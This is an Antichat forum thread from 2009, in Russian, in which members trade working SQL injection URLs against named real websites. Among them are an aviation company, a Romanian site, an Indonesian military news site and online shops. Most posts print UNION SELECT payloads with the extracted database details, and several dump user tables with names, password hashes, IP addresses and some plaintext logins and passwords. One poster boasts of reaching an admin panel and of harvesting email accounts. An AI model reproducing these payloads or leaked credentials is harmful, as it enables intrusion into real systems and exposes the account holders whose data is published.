HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.02.2009, 13:02
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию

Цитата:
http://www.ufs-aero.com/pages.php?id=578967543+union+select+1,concat_ws(0x 3a,version(),user(),database())--
Database Version: 5.0.51a-log
Database name: db208210290
User name: dbo208210290@74.208.16.98

База

db208210290

Таблицы

acsales
fleet
fuelprice
nav
news
pages
ufscard
users



Достаём пользователей

Цитата:
http://www.ufs-aero.com/pages.php?id=578967543+UNION+SELECT+1,CONCAT(0x787 3716C696E6A626567696E,(SELECT+CONCAT(firstname,0x3 a,un,0x3a,pw,0x3a,level,0x3a,ip)+FROM+db208210290. users+LIMIT+16,1),0x3a)--
firstname:unw:level:ip

:Brent: bheimer: 0449262361ed354cb870302815f9402f :10:71.230.51.69
: UFS-Aero : administrator : 1da1fb3f4e4c97f57b319c47fade82f8 :10:205.238.220.154
:Gareth : gharte: 981d99c1061407bd93f41b5025a4383d :10:71.230.51.69
:Gregg : gheimer : f63ff11aa5b05cfb84cf81292b0f6ba5 :10:205.238.220.154
:Glenn: gstewart: ae463243b033f797858668b931591f92 :5:205.238.220.154
:Jason: jwarren: ab5f90cafb4bd8a13651d78651b89557 :8:205.238.220.154
:Hoyt: hbangs: 8379c86250c50c0537999a6576e18aa7 :10:66.212.1.106
ustin: dpalmer: d5751883938853085bd88b2dd8bffce5 :10:75.147.80.202
:Heskel: hburnstein: c00245006b0aa220c36d1657abe1f96f :10:205.238.220.154
:Ronald: rwatters: 2422c55070091c902595772a114aa672 :2:204.223.176.193
::: d41d8cd98f00b204e9800998ecf8427e :0:69.84.207.39
: obinna kingsley : obi:e43dbc651880164a05a28b09cafc738c :2:80.78.215.77
: test: none: 334c4a4c42fdb79d7ebc3e73b517e6f8 :2:66.212.1.106
: Robert: cigarmanbob: e96946e35431ae7293c882f4d0d3398d :2:204.28.140.7
: Hoyt: hvbangs: 0264e1527230cd1780b58623850ff685 :10:205.238.220.154
: Michael :mderk: db205babfde4780567e539b178b2da2c :2:75.146.205.221
 
Ответить с цитированием

  #2  
Старый 10.02.2009, 13:32
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

blindcanadians.ca - PR6
Код:
http://www.blindcanadians.ca/press_releases/index.php?BriefID=-44+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4--
DB Version: 5.0.67-community
User : blindcan_blindca@localhost
DB : blindcan_aebc
Доступна INFORMATION_SCHEMA...
В принципе ничего интересного нет в базе, есть немного мыл, и всякая фигня =(
 
Ответить с цитированием

  #3  
Старый 10.02.2009, 15:02
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.brm.ro/root/index.php?page=sondaje&op=vote&id=26+and+1=0+union +select+1,2,3,4,5,concat_ws(0x3a,version(),databas e(),user()),7,8,9,10,11--




Version: 5.0.22-community-nt
Database: :brm
User : root@localhost



http://www.brm.ro/root/index.php?page=sondaje&op=vote&id=26+and+1=0+union +select+1,2,3,4,5,group_concat(user,0x3a,password) ,7,8,9,10,11+from+users--
 
Ответить с цитированием

шопы...
  #4  
Старый 10.02.2009, 16:39
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию шопы...

-----------------------------------------------------------
Код:
http://www.umkstroy.ru/shop.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16--
версия/бд/юзер:
Код:
4.1.22-standard:umkstroy_root@localhost:umkstroy_helposcms
-----------------------------------------------------------

The End!

Последний раз редактировалось jokester; 10.02.2009 в 17:05.. Причина: spygenius.co.uk и avtobamper.ru БОЯНЫ
 
Ответить с цитированием

  #5  
Старый 10.02.2009, 18:13
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.vacanta.net/oferte.php?ID=322+UNION+SELECT+1,2,3,4,5,6,7,8,9,A ES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Da tabase(),User()),0x71),0x71),11,12/*&menu=0&Oferta=Decada%20Balneara



Database Version: 4.1.22-log
Database name: vac
User name: trip1@localhost
 
Ответить с цитированием

  #6  
Старый 10.02.2009, 18:32
M.W.N.N.
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
С нами: 9129884

Репутация: 240
По умолчанию

http://www.tni.mil.id/news.php?cid=INT%27+union+select+1,2,3,4,version() ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ,24,25/*

version::5.0.22-LOG
user::TNIMIL@LOCALHOST
database::TNI
 
Ответить с цитированием

  #7  
Старый 10.02.2009, 19:05
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.cliven.ro/news.php?newsID=1+UNION+SELECT+1,AES_DECRYPT(AES_E NCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()) ,0x71),0x71),3,4,5



Database Version: 5.0.67-community
Database name: cliven_cliven
User name: cliven_office@localhost
 
Ответить с цитированием

  #8  
Старый 10.02.2009, 19:17
TELO
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами: 9107354

Репутация: 122
По умолчанию

Мир путешествий 5-я ветка
Код:
http://worldtravels.dp.ua/news/news_info.php?id=-2005031802%20UNION%20SELECT%201,2,3,passw,login,6,7,8%20%20FROM%20admin%20--
login-pass h7V4c90-ol11SP83
 
Ответить с цитированием

  #9  
Старый 10.02.2009, 19:46
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
С нами: 9838057

Репутация: 302
По умолчанию

Можете меня поздравить, моя первая скуля в результате которой оказался в админке =))) (поздравлять через кнопку + шучу)))

Код:
http://british-chinchilla.dp.ua/index.php?lang=1&menu_id=-90%20union%20select%20concat_ws(0x3a,login,password,name,email,Icq)%20from%20access_admins--
Админка
Код:
http://british-chinchilla.dp.ua/admin/
Вот: login ,password ,name ,email
webdesign:4187421:valeria:webdesign@artograph.com. ua
PR 4
ТИц 550

В админке есть доступ к редактированию страниц html редактор =))
В запросе есть еще ICQ так что можно потырить мыльников если у кого аська есть нормальная =))

Последний раз редактировалось Assembler; 10.02.2009 в 19:52..
 
Ответить с цитированием

  #10  
Старый 10.02.2009, 22:18
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами: 9196401

Репутация: 930
Thumbs up

Код:
http://www.fondazionelibro.it/manifestazioni.php?id=-10+union+select+1,2,3,concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
user(): fondazionelibro@localhost
database(): fondazionelibro
version(): 5.0.32-Debian_7etch8-log



Код:
http://www.lazerklinika.ru/?module=publications&id=-10+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7--
user(): kolesni2_root@localhost
database(): kolesni2_db
version(): 4.0.27-log



Agenzia Fiorentina per l'Energia
Код:
http://www.firenzenergia.it/primopiano.php?id=-10+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8--
user(): Sql125363@62.149.141.86
database(): Sql125363_1
version(): 5.0.68-log

таблица phorum_users
Код:
http://www.firenzenergia.it/primopiano.php?id=-10+union+select+1,concat(user_id,0x3a,username,0x3a,password),3,4,5,6,7,8+from+phorum_users+limit+0,1--
user_id:username:рassword
1:root:8a6043643c9681a1f6422ea094103431
2:Francesco Rondoni:fc12e5d66f9d4213ad6b5e2be1c6e2a7
3:Massimo Pepe:c098ff62d9071d69697b5048c6c1c653
4:Tiziano:e4dc459dd55759e17f5095169c77fadb



интернет-магазин спорт товаров
Код:
http://sport-tovari.ru/texts/int.php?id=-10+union+select+1,concat(user(),0x3a,version(),0x3a,database())--
user(): u10475@10.10.153.191
database(): u10475
version(): 5.0.67-log
тИЦ:110

таблица clients
Код:
http://sport-tovari.ru/texts/int.php?id=-10+union+select+1,concat(clientusername,0x3a,clientpassword)+from+clients+limit+0,1--
clientusername:clientpassword
samolet:bowling
sport:tovary
sub7even:gbpltw

Последний раз редактировалось z00MAN; 10.02.2009 в 22:50..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.